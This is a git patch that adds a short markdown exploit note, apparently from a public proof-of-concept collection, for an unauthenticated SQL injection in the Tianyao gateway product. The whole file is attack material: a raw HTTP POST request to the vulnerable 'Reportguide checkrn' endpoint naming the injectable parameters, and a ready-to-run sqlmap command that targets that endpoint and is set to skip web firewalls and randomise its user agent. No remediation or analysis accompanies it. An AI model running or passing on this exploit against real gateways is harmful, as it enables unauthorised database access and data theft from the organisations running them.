From f0a62ecda26efb2dad8f9b749c3039aca88f1bb5 Mon Sep 17 00:00:00 2001
From: wy876 <139549762+wy876@users.noreply.github.com>
Date: Sat, 19 Aug 2023 21:56:05 +0800
Subject: [PATCH] =?UTF-8?q?Create=20=E5=A4=A9=E9=92=A5=E7=BD=91=E5=85=B3?=
 =?UTF-8?q?=E5=89=8D=E5=8F=B0SQL=E6=B3=A8=E5=85=A5.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 天钥网关前台SQL注入.md | 28 ++++++++++++++++++++++++++++
 1 file changed, 28 insertions(+)
 create mode 100644 天钥网关前台SQL注入.md

diff --git a/天钥网关前台SQL注入.md b/天钥网关前台SQL注入.md
new file mode 100644
index 0000000..e3df792
--- /dev/null
+++ b/天钥网关前台SQL注入.md
@@ -0,0 +1,28 @@
+## 天钥网关前台SQL注入
+```
+POST /ops/index.php?c=Reportguide&a=checkrn HTTP/1.1
+Host: ****
+Connection: close
+Cache-Control: max-age=0
+sec-ch-ua: "Chromium";v="88", "Google Chrome";v="88", ";Not A Brand";v="99"
+sec-ch-ua-mobile: ?0
+Upgrade-Insecure-Requests: 1
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
+Sec-Fetch-Site: none
+Sec-Fetch-Mode: navigate
+Sec-Fetch-User: ?1
+Sec-Fetch-Dest: document
+Accept-Language: zh-CN,zh;q=0.9
+Cookie: ****
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 39
+
+
+checkname=123&tagid=123
+```
+
+```
+sqlmap -u "https://****/ops/index.php?c=Reportguide&a=checkrn" --data "checkname=123&tagid=123" -v3 --skip-waf --random-agent
+
+```